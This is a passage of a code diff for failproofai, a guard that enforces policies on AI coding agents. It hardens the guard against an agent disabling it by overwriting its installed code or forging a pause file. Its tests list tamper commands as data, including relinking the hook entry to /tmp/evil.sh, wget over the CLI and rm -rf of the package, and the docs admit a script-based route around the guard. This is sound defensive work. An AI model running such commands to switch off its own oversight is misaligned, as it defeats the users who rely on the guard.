diff --git a/CHANGELOG.md b/CHANGELOG.md index 201c85c11..b6af93b6c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,8 @@ - `FAILPROOFAI_DAEMON_BASE_URL` must be https, and so must every hop a redirect sends the download to. Plain http is accepted only for a loopback address, because over http the checksum manifest arrives on the same unauthenticated connection as the binary (#1056) - CI: bun is pinned to 1.4.5 in every workflow and in the integration-suite images instead of `latest`, the `pull_request_target` workflow pins `actions/github-script` by commit, and translate-docs reads its `languages` input from `env:` and accepts only supported codes. The input used to run as shell, including in the job holding the translation credentials. The ts-sdk release preflight reads `github.ref` from `env:` too, where a crafted branch name could skip its branch check (#1056) - An install of failproofai fetches one third-party package, `sql.js`, pinned to an exact version with no dependencies or install script of its own; everything else it uses is compiled into its bundles at build time from `bun.lock`. It used to declare six caret ranges, so each `npm install -g failproofai` or `npx failproofai` resolved them, and posthog-node's own ranges under them, afresh: a malicious in-range release (posthog-node was hit by Shai-Hulud 2.0 in November 2025) reached every install made after it was published, and its install script ran there. posthog-node, yaml, smol-toml, jsonc-parser and html-to-image are devDependencies now, since nothing loaded them from `node_modules` at run time, so the pin holds whichever package manager installs failproofai, and an install downloads about 1.2 MB less. `bun run build` now fails first if a runtime dependency is a range, has dependencies of its own or an install script, if a bundle leaves a package external that the install would not carry, or if the package itself gains an install script, a peer dependency or an optional dependency other than the daemon packages (#1059) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ### Docs diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts new file mode 100644 index 000000000..fe9b73d83 --- /dev/null +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -0,0 +1,308 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as state-guard.test.ts. The symlink cases below use the real +// synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "process.exit(0)\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +const edit = async (file_path: string) => + policy.fn(makeCtx({ toolName: "Edit", toolInput: { file_path, old_string: "deny(", new_string: "allow(" } })); + +/** Where the user-scope hook command's `which failproofai` lands, per install method. */ +const NVM_PKG = "/home/u/.nvm/versions/node/v22.11.0/lib/node_modules/failproofai"; +const INSTALLED_CLI = [ + ["nvm", `${NVM_PKG}/dist/cli.mjs`], + ["Homebrew node", "/opt/homebrew/lib/node_modules/failproofai/dist/cli.mjs"], + ["a system npm prefix", "/usr/local/lib/node_modules/failproofai/dist/cli.mjs"], + ["Volta", "/home/u/.volta/tools/image/packages/failproofai/lib/node_modules/failproofai/dist/cli.mjs"], + ["bun", "/home/u/.bun/install/global/node_modules/failproofai/dist/cli.mjs"], + ["the npx cache", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/failproofai/dist/cli.mjs"], + ["pnpm", "/home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15/node_modules/failproofai/dist/cli.mjs"], + ["yarn", "/home/u/.config/yarn/global/node_modules/failproofai/dist/cli.mjs"], + ["a project install (npx)", "/work/proj/node_modules/failproofai/dist/cli.mjs"], +] as const; + +/** + * `block-failproofai-commands` protected failproofai's STATE (`~/.failproofai`) + * and not the CODE that reads it. User-scope hooks run the absolute path `which + * failproofai` returned, which for nvm, Homebrew, Volta, bun, pnpm and the npx + * cache is a package directory the agent's own user can write — and the hook + * client runs fresh from it on every tool call. Overwriting `dist/cli.mjs` with + * `process.exit(0)` turns every hook into an allow on the next call, for every + * session on the machine, and nothing reports it. (FailproofAI/agenteye#1796) + */ +describe("block-failproofai-commands — failproofai's installed code", () => { + describe("file tools", () => { + it.each(INSTALLED_CLI)("denies Write over the CLI installed by %s", async (_how, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies Edit and NotebookEdit inside the installed package", async () => { + expect((await edit(`${NVM_PKG}/dist/worker.mjs`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/dist/index.js`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/package.json`)).decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: `${NVM_PKG}/x.ipynb` } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + // The daemon binary ships as an optional dependency, and `failproofai + // config` / `update` copies it into place — on Linux as root, under /opt. + it("denies writing the failproofaid platform package", async () => { + for (const path of [ + `${NVM_PKG}/node_modules/@failproofai/failproofaid-linux-x64/bin/failproofaid`, + "/work/proj/node_modules/@failproofai/failproofaid-darwin-arm64/bin/failproofaid", + ]) { + expect((await write(path)).decision).toBe("deny"); + } + }); + + // The hook command names the bin entry, not the package: replacing it is + // the same bypass without touching `node_modules` at all. + it.each([ + ["nvm", "/home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["a system npm prefix", "/usr/local/bin/failproofai"], + ["Homebrew", "/opt/homebrew/bin/failproofai"], + ["bun", "/home/u/.bun/bin/failproofai"], + ["Volta", "/home/u/.volta/bin/failproofai"], + ["yarn", "/home/u/.yarn/bin/failproofai"], + ["pnpm on Linux", "/home/u/.local/share/pnpm/failproofai"], + ["pnpm on macOS", "/Users/u/Library/pnpm/failproofai"], + ])("denies replacing the hook entry point installed by %s", async (_how, path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, so every casing of a + // protected path opens the real file. + it("matches the protected paths case-insensitively", async () => { + expect((await write("/Users/u/.nvm/versions/node/v22.11.0/lib/node_modules/FailproofAI/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/opt/homebrew/bin/FAILPROOFAI")).decision).toBe("deny"); + expect((await write("/Users/u/.FailproofAI/policies-config.json")).decision).toBe("deny"); + }); + + it("sees through separators a path resolver collapses", async () => { + expect((await write("/usr/local/lib/node_modules//failproofai/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/usr/local/lib/node_modules/./failproofai/dist/cli.mjs")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + let pkg: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-guard-")); + pkg = join(root, "lib", "node_modules", "failproofai"); + mkdirSync(join(pkg, "dist"), { recursive: true }); + writeFileSync(join(pkg, "dist", "cli.mjs"), "// real cli\n"); + mkdirSync(join(root, "elsewhere"), { recursive: true }); + // Neither link's own path says anything about failproofai. + symlinkSync(join(pkg, "dist", "cli.mjs"), join(root, "elsewhere", "tool.mjs")); + symlinkSync(pkg, join(root, "elsewhere", "pkg")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // A file tool writes THROUGH a symlink, so the path it was given is not + // the path it changes. npm, nvm and bun all install the bin entry as one. + it("denies a write whose symlink lands in the installed package", async () => { + const result = await write(join(root, "elsewhere", "tool.mjs")); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies creating a new file under a linked package directory", async () => { + expect((await write(join(root, "elsewhere", "pkg", "dist", "new-entry.mjs"))).decision).toBe("deny"); + }); + + it("resolves a relative path against the session's cwd", async () => { + expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); + }); + + // `path.resolve` and Node's realpathSync collapse `..` as text before they + // follow links, so this resolved to `elsewhere/dist/cli.mjs` — a path that + // does not exist — while open(2) follows `pkg` first and writes the CLI. + // (Template strings, not `join`, which would collapse the `..` right here.) + it("steps out of a link the way the kernel does, not the way path.resolve does", async () => { + expect((await write(`${root}/elsewhere/pkg/../failproofai/dist/cli.mjs`)).decision).toBe("deny"); + const viaDist = join(root, "elsewhere", "dist-link"); + symlinkSync(join(pkg, "dist"), viaDist); + expect((await write(`${viaDist}/../dist/cli.mjs`)).decision).toBe("deny"); + // And the same `..` from a directory that is not a link lands next to it. + expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); + }); + + // A directory that does not exist yet is not where the walk ends: a write + // tool that runs `mkdir -p` on the parent first creates it, `..` steps back + // out, and `tool.mjs` is the link into the package (found in review). + it("walks through a directory that does not exist yet", async () => { + expect((await write(`${root}/elsewhere/missing/../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/a/b/../../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/missing/../notes.md`)).decision).toBe("allow"); + }); + + it("still allows an ordinary file next to the links", async () => { + expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); + }); + }); + + // Tool input is untrusted JSON. A throw from the guard takes it out of the + // evaluation entirely, so a malformed path must be judged, not crash it. + it("judges a non-string path instead of throwing", async () => { + const odd = async (file_path: unknown) => + (await policy.fn(makeCtx({ toolName: "Write", toolInput: { file_path, content: "x" }, session: { cwd: "/work/proj" } }))) + .decision; + expect(await odd(42)).toBe("allow"); + expect(await odd({ path: "/tmp/x" })).toBe("allow"); + expect(await odd(["/usr/local/bin/failproofai"])).toBe("deny"); + }); + + // Not a general file-write blocker: the package directory and the bin + // entry, and nothing that merely carries the name. + it.each([ + ["a source file in a failproofai checkout", "/home/u/src/failproofai/src/hooks/builtin-policies.ts"], + ["the checkout's own bin script", "/home/u/src/failproofai/bin/failproofai.mjs"], + ["the checkout's own build output", "/home/u/src/failproofai/dist/cli.mjs"], + ["another package's file", "/work/proj/node_modules/react/index.js"], + ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], + ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], + ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ["a project in a directory of that name under bin/", "/home/u/bin/failproofai/src/index.ts"], + // `node_modules` and `.pnpm` count only as whole path components. + ["a fixture under a directory that merely ends in node_modules", "/work/proj/cached_node_modules/failproofai/index.js"], + ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], + ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], + ["a fixture under a directory named like an option", "/tmp/-xnode_modules/failproofai/index.js"], + ["a fixture under a directory joined with +", "/work/fixture+node_modules/failproofai/index.js"], + ["a fixture under a .pnpm-suffixed directory joined with +", "/work/fixture+.pnpm/failproofai@1.0.0/x.js"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + // A variable-length lookbehind in front of a name ran at every position of the + // input and went quadratic on a run of letters: 32,000 of them took 35 s in the + // guard, long enough to time a hook out. It now runs only where a name matched. + it("stays fast on a long run of letters", async () => { + const started = Date.now(); + expect(await bash(`find . -name '*.sqlite' -delete ${"x".repeat(128_000)}`)).toBe("allow"); + expect((await write(`/work/proj/${"x".repeat(128_000)}`)).decision).toBe("allow"); + // ...and a long option cluster is no way past: the cluster needs no bound. + expect(await bash(`wget -q${"x".repeat(64_000)}Onode_modules/failproofai/dist/cli.mjs https://e/x`)).toBe("deny"); + expect(Date.now() - started).toBeLessThan(2000); + }); + + describe("shell commands", () => { + it.each([ + ["a copy over the CLI", `cp /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a move over the CLI", `mv /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a redirect over the CLI", `cat /tmp/x.mjs > ${NVM_PKG}/dist/cli.mjs`], + ["an in-place sed", `sed -i 's/deny(/allow(/' ${NVM_PKG}/dist/cli.mjs`], + ["tee into the worker", `tee ${NVM_PKG}/dist/worker.mjs < /tmp/x.mjs`], + ["removing the package", `rm -rf ${NVM_PKG}`], + ["an interpreter writing the CLI", `python3 -c "open('${NVM_PKG}/dist/cli.mjs','w').write('')"`], + ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], + ["a project install", "rm -rf node_modules/failproofai"], + ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["a dotted glob onto a project install", "rm -rf ./node_modules/fail*"], + ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], + ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + // The variables nvm and pnpm export for the directory the entry lives in. + ["copying over the entry through $NVM_BIN", 'cp /tmp/evil.sh "$NVM_BIN/failproofai"'], + ["relinking the entry through ${PNPM_HOME}", "ln -sf /tmp/evil.sh ${PNPM_HOME}/failproofai"], + // pnpm keeps the package one directory above its own node_modules. + ["removing pnpm's store entry in a project", "rm -rf node_modules/.pnpm/failproofai@1.0.15"], + ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], + ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], + ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], + // An output file glued to a short option, alone or in a cluster. + ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], + ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], + ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], + // The daemon's platform package in pnpm's store and in its scope, through + // globs over its platform, its version or its name (found by hermes). + ["a glob over the daemon's pnpm store entry", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-*@*"], + ["a dotted glob over the daemon's pnpm store entry", "rm -rf ./node_modules/.pnpm/@failproofai+failproofaid-*@*"], + ["a platform- and version-targeted glob", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-*@1.0.*"], + ["a glob over the scope in pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+*"], + ["a short glob onto the scope in pnpm's store", "rm -rf node_modules/.pnpm/@f*"], + ["a glob onto the daemon package in its scope", "rm -rf node_modules/@failproofai/f*"], + // A default macOS volume resolves the literal parent whatever its case. + ["a glob under an upper-case parent", "rm -rf NODE_MODULES/fail*"], + ["a dotted glob under an upper-case parent", "rm -rf ./NODE_MODULES/fail*"], + ["a glob under a mixed-case parent in pnpm's store", "rm -rf Node_Modules/.pnpm/fail*"], + // What ends a shell word still starts a component. + ["the package named in a subshell", "(rm -rf node_modules/failproofai)"], + ["the package named in a brace list", "rm -rf {node_modules/failproofai,tmp}"], + ["the package named after a redirect", "cat /tmp/x.mjs >node_modules/failproofai/dist/cli.mjs"], + ["the package named inside quotes", 'rm -rf "node_modules/failproofai"'], + ["the package named in an assignment", "D=node_modules/failproofai; rm -rf $D"], + ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + it.each([ + ["reading the package manifest", `cat ${NVM_PKG}/package.json`], + ["listing the build", `ls -la ${NVM_PKG}/dist`], + ["searching the build", "grep -rn block-failproofai-commands node_modules/failproofai/dist"], + ["hashing the CLI", `sha256sum ${NVM_PKG}/dist/cli.mjs`], + ["resolving the hook entry", "readlink -f /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], + ["removing a fixture under cached_node_modules", "rm -rf cached_node_modules/failproofai"], + ["clearing every scoped package in pnpm's store", "rm -rf node_modules/.pnpm/@*"], + ["clearing every scoped package", "rm -rf node_modules/@*/*"], + ["clearing every dependency under an upper-case parent", "rm -rf NODE_MODULES/*"], + ["clearing every versioned entry in pnpm's store", "rm -rf node_modules/.pnpm/*@*"], + ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], + ["clearing a build cache", "rm -rf node_modules/.cache"], + ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], + ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], + ["asking the registry", "npm view failproofai version"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); +}); diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index 906cf5fb9..3987a72fa 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -257,6 +257,39 @@ describe("--resume", () => { expect(readActivePause("s1", NOW)).toBeNull(); expect(readActivePause("s2", NOW)).toBeNull(); }); + + // A pause file dated in the future is not honoured, so it is not listed — but + // it turns live when its date arrives. `--all` is how a person ends every + // pause, so it must remove that one too (FailproofAI/agenteye#1796). + it("--all also removes a pause dated in the future, before it can turn live", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + writePause({ sessionId: "later", durationMs: 600_000, now: NOW + 3_600_000 }); + expect(readActivePause("later", NOW)).toBeNull(); + const r = runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + expect(r.affected).toBe(1); + expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); + }); + + // A pause file that stays behind is still read by the hook. Reporting + // "Resumed" over it, and exiting 0, left enforcement suspended while saying + // it was back (found in review). Root ignores the mode, so ordinary users only. + it.skipIf(process.getuid?.() === 0)("--all fails, and says so, when a pause file will not go", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + const sessions = resolve(stateDir, "sessions"); + chmodSync(sessions, 0o500); + const r = (() => { + try { + return runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + } finally { + chmodSync(sessions, 0o700); + } + })(); + expect(r.exitCode).toBe(1); + expect(r.affected).toBe(0); + expect(r.lines.join("\n")).not.toMatch(/Resumed/); + expect(r.lines[0]).toMatch(/Could not remove every pause file from .*sessions, so enforcement may still be paused/); + expect(readActivePause("s1", NOW)).not.toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9ef3c0081..cfd75bfac 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -1,11 +1,12 @@ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; import { PAUSE_CEILING_MS, PAUSE_DEFAULT_MS, + clearAllPauses, clearPause, formatDuration, listActivePauses, @@ -206,6 +207,110 @@ describe("pause state", () => { // And it is genuinely inert once the ceiling passes. expect(readActivePause("sess-h", start + PAUSE_CEILING_MS + 1)).toBeNull(); }); + + // The clamp above measures the ceiling from `firstPausedAt`, which comes from + // the same file. Moving the START out of reach moved the ceiling with it: a + // file dated 2100 read as live on every tool call until then — a single forged + // write that outlasted every session on the machine (FailproofAI/agenteye#1796). + describe("a pause that claims to start in the future", () => { + const forge = (fields: Record) => { + writePause({ sessionId: "sess-f", durationMs: 60_000, now: 1_000 }); + const [file] = readdirSync(pauseStateDir()); + writeFileSync( + resolve(pauseStateDir(), file), + JSON.stringify({ schemaVersion: 1, sessionId: "sess-f", setBy: "cli", ...fields }), + ); + }; + const now = Date.UTC(2026, 10, 24); + const year2100 = Date.UTC(2100, 0, 1); + + it("is not a pause at all", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + expect(readActivePause("sess-f", now)).toBeNull(); + expect(readActivePause("sess-f", now + 30 * 24 * 3_600_000)).toBeNull(); + expect(listActivePauses(now)).toEqual([]); + }); + + it("is refused when only the start of the run is in the future", () => { + forge({ pausedAt: now, firstPausedAt: year2100, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + it("is refused when the run starts after its latest renewal", () => { + forge({ pausedAt: now - 60_000, firstPausedAt: now - 1_000, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + // The writer and the reader share one clock, so a legitimate file is never + // ahead of it by more than a clock correction. Refusing would only ever turn + // enforcement back ON, but a pause that vanishes after a small clock step + // would just be re-issued, so a minute of slack costs nothing. + it("tolerates a small clock step backwards", () => { + forge({ pausedAt: now + 30_000, firstPausedAt: now + 30_000, expiresAt: now + 90_000 }); + expect(readActivePause("sess-f", now)?.expiresAt).toBe(now + 90_000); + }); + + it("never lets a forged start carry into a real renewal", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + const renewed = writePause({ sessionId: "sess-f", durationMs: 60_000, now }); + expect(renewed.firstPausedAt).toBe(now); + expect(renewed.expiresAt).toBe(now + 60_000); + }); + + // A renewal carries the run's start forward. After a small clock step back, + // that start reads as later than the renewal, and the reader would refuse + // the very pause the CLI had just reported extended. + it("survives a renewal issued just after the clock stepped back", () => { + writePause({ sessionId: "sess-c", durationMs: 600_000, now }); + const renewed = writePause({ sessionId: "sess-c", durationMs: 600_000, now: now - 30_000 }); + expect(renewed.firstPausedAt).toBe(now - 30_000); + expect(readActivePause("sess-c", now - 30_000)?.expiresAt).toBe(now + 570_000); + }); + + // Not honoured yet is not the same as gone: a file dated an hour ahead turns + // live in an hour. Ending every pause has to end that one too. + it("is removed by clearAllPauses, which counts only the active ones", () => { + forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); + writePause({ sessionId: "sess-live", durationMs: 600_000, now }); + expect(clearAllPauses(now)).toEqual({ cleared: 1, incomplete: false }); + expect(readdirSync(pauseStateDir())).toEqual([]); + expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); + }); + }); +}); + +// A pause file that stays behind is still read by the hook, so it must never be +// counted as cleared (found in review). Root ignores directory modes, so these +// only mean something for an ordinary user, which is what CI runs as. +describe.skipIf(process.getuid?.() === 0)("clearAllPauses when a file will not go", () => { + const now = Date.UTC(2026, 10, 24); + const withMode = (mode: number, body: () => void) => { + chmodSync(pauseStateDir(), mode); + try { + body(); + } finally { + chmodSync(pauseStateDir(), 0o700); + } + }; + + it("does not count a pause it could not remove, and says so", () => { + writePause({ sessionId: "sess-ro", durationMs: 600_000, now }); + withMode(0o500, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + }); + expect(readActivePause("sess-ro", now)).not.toBeNull(); + }); + + // Without read permission the directory cannot be listed, but the hook opens + // each pause by name and still finds it — so "nothing listed" is not "nothing + // paused". + it("reports a directory it cannot list instead of calling it empty", () => { + writePause({ sessionId: "sess-nolist", durationMs: 600_000, now }); + withMode(0o300, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + expect(readActivePause("sess-nolist", now)).not.toBeNull(); + }); + }); }); describe("formatDuration", () => { diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e27e98466..cc97aa58b 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire and do not disable Cloud-managed policies. `block-failproofai-commands` — which is always on and cannot itself be disabled or paused — prevents an instrumented agent from using this escape hatch itself. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start no more than a minute in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 16402d333..717bd18c7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2,7 +2,7 @@ * Built-in security policies for Claude Code hooks. */ import { resolve, join } from "node:path"; -import { statSync } from "node:fs"; +import { lstatSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -462,12 +462,167 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** - * A command that removes or moves failproofai's own state. + * The path component `name` (regex source), only where it STARTS a component: + * at the start, after a path separator, or after what ends a shell word — + * whitespace, a quote, `=`, `:`, `;`, `|`, `&`, a redirect, a bracket of a + * subshell or a brace list, a comma — or glued to a cluster of short options + * (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools take an + * output file. Anything else in front of it is part of the same name, so it is + * a different directory: `cached_node_modules/…`, `my-node_modules/…` and + * `fixture+node_modules/…` are somebody's fixtures. A list of what may come + * before, not of what may not — the second kind is never finished. + * + * The check is a lookbehind placed AFTER the name, so it runs only where the + * name already matched. A variable-length lookbehind in FRONT of the name ran + * at every position of the input and rescanned a whole run of letters each + * time: a command carrying 32,000 letters took 35 s in the guard, long enough + * to time a hook out. Here each match scans back over the letters just before + * it, and those runs cannot overlap — every name ends in a non-letter (`_` in + * `node_modules`, the `.` that starts `.pnpm`) — so the cluster needs no bound, + * and a long one (`-qqqq…O`) is not a way past. + */ +function pathComponent(name: string): string { + return String.raw`${name}(?<=(?:^|[\\/\s"'\`=:;|&<>(){},])${name}|(?:^|\s)-[A-Za-z]+${name})`; +} + +/** + * failproofai's INSTALLED CODE: the package a hook command runs, and the bin + * entry that names it. + * + * User-scope hooks run the absolute path `which failproofai` returned at + * install time. Under nvm, Homebrew, Volta, bun, pnpm and the npx cache that is + * a package directory the agent's own user can write, and the hook client runs + * fresh from it on every tool call — so `process.exit(0)` written over + * `dist/cli.mjs` turned every later hook into an allow, for every session on + * the machine, with nothing reporting it. The daemon cannot catch that: a + * tampered client never asks it. The state pattern below needs a `.` the + * package path does not have (FailproofAI/agenteye#1796). + * + * A checkout of this repository matches none of the shapes below — no + * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard + * does not stand in front of working on failproofai itself. + * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here + * either (FailproofAI/agenteye#1795). + * + * Case-insensitive because macOS volumes are by default: every casing of these + * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path + * resolver collapses. This matches the path as WRITTEN: a shell spelling that + * only the shell resolves — `..`, a `cd` before a relative path, a command + * substitution — is beyond it, as it is for the state (see `stripShellQuoting`). + * The file tools also check the path a write really lands on (`resolveWriteTarget`). + */ +const FAILPROOFAI_CODE_PATH_RE = new RegExp( + [ + // The package, in every layout a package manager uses, and the daemon's + // platform package, which `failproofai config` and `update` copy into place + // (on Linux as root, under `/opt`). `node_modules` as a whole path + // component (`pathComponent`). + pathComponent("node_modules") + + String.raw`[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, + // pnpm's virtual store, which holds each package one directory above its + // own `node_modules/failproofai`. The daemon's entry is recognised by its + // name alone, so a glob over its platform or version + // (`@failproofai+failproofaid-*@*`) still names it. + pathComponent(String.raw`\.pnpm`) + 